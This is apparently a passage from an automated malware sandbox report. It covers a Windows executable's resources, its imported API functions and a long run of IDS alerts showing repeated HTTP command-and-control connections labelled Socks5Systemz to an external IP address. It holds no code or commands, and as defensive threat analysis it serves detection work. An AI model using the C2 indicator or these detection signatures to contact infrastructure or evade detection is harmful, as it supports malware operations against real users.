RT_RCDATA	0x13010	0x2c	data			1.25
RT_GROUP_ICON	0x1303c	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x1307c	0x4f4	data	English	United States	0.2618296529968454
RT_MANIFEST	0x13570	0x5e8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4252645502645503

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-15T13:55:54.665683+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:54.665683+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.580967+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.580967+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.932793+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.932793+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:58.740593+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49740	185.196.8.214	80	TCP
2024-09-15T13:55:58.740593+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49740	185.196.8.214	80	TCP
2024-09-15T13:55:59.548731+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49741	185.196.8.214	80	TCP
2024-09-15T13:55:59.548731+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49741	185.196.8.214	80	TCP
2024-09-15T13:56:00.366296+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49742	185.196.8.214	80	TCP
2024-09-15T13:56:00.366296+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49742	185.196.8.214	80	TCP
2024-09-15T13:56:01.201427+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:01.201427+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:01.556782+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:01.556782+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:02.370326+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49744	185.196.8.214	80	TCP
2024-09-15T13:56:02.370326+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49744	185.196.8.214	80	TCP
2024-09-15T13:56:03.236756+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.236756+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.581051+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.581051+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.928369+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.928369+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:04.742235+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49746	185.196.8.214	80	TCP
2024-09-15T13:56:04.742235+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49746	185.196.8.214	80	TCP
2024-09-15T13:56:05.597968+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49747	185.196.8.214	80	TCP
2024-09-15T13:56:05.597968+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49747	185.196.8.214	80	TCP
2024-09-15T13:56:06.424544+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:06.424544+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:06.771344+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:06.771344+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:07.590774+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49749	185.196.8.214	80	TCP
2024-09-15T13:56:07.590774+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49749	185.196.8.214	80	TCP
2024-09-15T13:56:08.402041+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49750	185.196.8.214	80	TCP
2024-09-15T13:56:08.402041+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49750	185.196.8.214	80	TCP
2024-09-15T13:56:09.212851+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49751	185.196.8.214	80	TCP
2024-09-15T13:56:09.212851+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49751	185.196.8.214	80	TCP
2024-09-15T13:56:10.025953+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49752	185.196.8.214	80	TCP
2024-09-15T13:56:10.025953+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49752	185.196.8.214	80	TCP
2024-09-15T13:56:10.840863+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49753	185.196.8.214	80	TCP
2024-09-15T13:56:10.840863+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49753	185.196.8.214	80	TCP
2024-09-15T13:56:11.653919+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49754	185.196.8.214	80	TCP
2024-09-15T13:56:11.653919+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49754	185.196.8.214	80	TCP
2024-09-15T13:56:12.479146+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49755	185.196.8.214	80	TCP
2024-09-15T13:56:12.479146+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49755	185.196.8.214	80	TCP
2024-09-15T13:56:13.296919+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:13.296919+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:13.652098+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:13.652098+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:14.465756+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49757	185.196.8.214	80	TCP
2024-09-15T13:56:14.465756+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49757	185.196.8.214	80	TCP
2024-09-15T13:56:15.303053+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49758	185.196.8.214	80	TCP
2024-09-15T13:56:15.303053+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49758	185.196.8.214	80	TCP
2024-09-15T13:56:16.120176+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49759	185.196.8.214	80	TCP
2024-09-15T13:56:16.120176+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49759	185.196.8.214	80	TCP
2024-09-15T13:56:16.928031+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49760	185.196.8.214	80	TCP
2024-09-15T13:56:16.928031+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49760	185.196.8.214	80	TCP
2024-09-15T13:56:17.772303+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49761	185.196.8.214	80	TCP
2024-09-15T13:56:17.772303+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49761	185.196.8.214	80	TCP
2024-09-15T13:56:18.615510+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49762	185.196.8.214	80	TCP
2024-09-15T13:56:18.615510+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49762	185.196.8.214	80	TCP
2024-09-15T13:56:19.433862+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49763	185.196.8.214	80	TCP
2024-09-15T13:56:19.433862+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49763	185.196.8.214	80	TCP
2024-09-15T13:56:20.247297+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49764	185.196.8.214	80	TCP
2024-09-15T13:56:20.247297+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49764	185.196.8.214	80	TCP
2024-09-15T13:56:21.052795+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49765	185.196.8.214	80	TCP
2024-09-15T13:56:21.052795+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49765	185.196.8.214	80	TCP
2024-09-15T13:56:21.876208+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:21.876208+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.234210+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.234210+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.583463+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.583463+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:23.422809+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:23.422809+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:23.785208+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:23.785208+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:24.608723+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:24.608723+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:24.958189+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:24.958189+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:25.774256+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49769	185.196.8.214	80	TCP
2024-09-15T13:56:25.774256+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49769	185.196.8.214	80	TCP
2024-09-15T13:56:26.595278+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:26.595278+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:26.941466+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:26.941466+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:27.290490+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:27.290490+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:28.091523+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49771	185.196.8.214	80	TCP
2024-09-15T13:56:28.091523+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49771	185.196.8.214	80	TCP
2024-09-15T13:56:28.906668+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:28.906668+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:29.258690+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:29.258690+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:30.081968+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49773	185.196.8.214	80	TCP
2024-09-15T13:56:30.081968+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49773	185.196.8.214	80	TCP
2024-09-15T13:56:30.923177+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:30.923177+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.279978+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.279978+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.629543+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.629543+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:32.451725+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49775	185.196.8.214	80	TCP
2024-09-15T13:56:32.451725+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49775	185.196.8.214	80	TCP
2024-09-15T13:56:33.366497+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49776	185.196.8.214	80	TCP
2024-09-15T13:56:33.366497+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49776	185.196.8.214	80	TCP
2024-09-15T13:56:34.200081+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49777	185.196.8.214	80	TCP
2024-09-15T13:56:34.200081+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49777	185.196.8.214	80	TCP
2024-09-15T13:56:35.007645+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49778	185.196.8.214	80	TCP
2024-09-15T13:56:35.007645+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49778	185.196.8.214	80	TCP
2024-09-15T13:56:35.896889+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49779	185.196.8.214	80	TCP
2024-09-15T13:56:35.896889+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49779	185.196.8.214	80	TCP
2024-09-15T13:56:36.718667+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:36.718667+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.068584+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.068584+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.892510+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49781	185.196.8.214	80	TCP
2024-09-15T13:56:37.892510+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49781	185.196.8.214	80	TCP
2024-09-15T13:56:38.735983+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:38.735983+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.087427+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.087427+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.932334+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49783	185.196.8.214	80	TCP
2024-09-15T13:56:39.932334+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49783	185.196.8.214	80	TCP
2024-09-15T13:56:40.779893+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49784	185.196.8.214	80	TCP
2024-09-15T13:56:40.779893+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49784	185.196.8.214	80	TCP
2024-09-15T13:56:41.595992+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:41.595992+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:41.950046+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:41.950046+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:42.793731+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49786	185.196.8.214	80	TCP
2024-09-15T13:56:42.793731+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49786	185.196.8.214	80	TCP
2024-09-15T13:56:43.632048+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49787	185.196.8.214	80	TCP
2024-09-15T13:56:43.632048+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49787	185.196.8.214	80	TCP
2024-09-15T13:56:44.464711+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49788	185.196.8.214	80	TCP
2024-09-15T13:56:44.464711+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49788	185.196.8.214	80	TCP
2024-09-15T13:56:45.302301+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49789	185.196.8.214	80	TCP
2024-09-15T13:56:45.302301+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49789	185.196.8.214	80	TCP
2024-09-15T13:56:46.126399+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:46.126399+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:46.482038+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:46.482038+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:47.293011+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49791	185.196.8.214	80	TCP
2024-09-15T13:56:47.293011+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49791	185.196.8.214	80	TCP
2024-09-15T13:56:48.112792+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49792	185.196.8.214	80	TCP
2024-09-15T13:56:48.112792+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49792	185.196.8.214	80	TCP
2024-09-15T13:56:48.933845+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49793	185.196.8.214	80	TCP
2024-09-15T13:56:48.933845+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49793	185.196.8.214	80	TCP
2024-09-15T13:56:49.760762+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-15T13:56:49.760762+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-15T13:56:50.578871+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49795	185.196.8.214	80	TCP
2024-09-15T13:56:50.578871+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49795	185.196.8.214	80	TCP
2024-09-15T13:56:51.407828+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:51.407828+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:51.759255+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:51.759255+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49796	185.196.8.214	80	TCP
